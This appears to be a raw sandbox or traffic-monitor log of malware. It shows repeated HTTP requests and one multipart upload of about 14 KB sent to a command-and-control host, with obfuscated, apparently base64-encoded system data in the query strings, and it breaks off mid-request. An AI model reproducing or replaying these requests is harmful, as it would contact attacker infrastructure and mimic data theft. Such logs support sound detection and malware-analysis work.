 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&395456b66fc45ba775af61ef30811cd1=xMDN5QjM24SNwoDMwoDMwAiOl1Wa0BCZlNHchxWRgESZu9GR&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=QNwQDN2U2YiZGO2gTNyImZ5ITY4ATNiBjZ3kzYlJTYxATYwIzMzIjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 840
1 840 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 2024
sent: 1562
1 1562 0

send

 buffer: POST /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ HTTP/1.1 Content-Type: multipart/form-data; boundary=----------a4827059990b430ca2733b04f720bc97 User-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko) Host: cc58476.tmweb.ru Content-Length: 14128 Expect: 100-continue
socket: 1188
sent: 612
1 612 0

send

 buffer:
socket: 1188
sent: 14128
1 14128 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&395456b66fc45ba775af61ef30811cd1=QM&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gMmRTOxQTNjRDZ3YWNkZmM2Y2NkZ2MyEWM1MWNzQDN3AjNkFTN4gDO HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 794
1 794 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1562
1 1562 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1562
1 1562 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1562
1 1562 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1562
1 1562 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1562
1 1562 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1562
1 1562 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1562
1 1562 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1562
1 1562 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1Lcpzc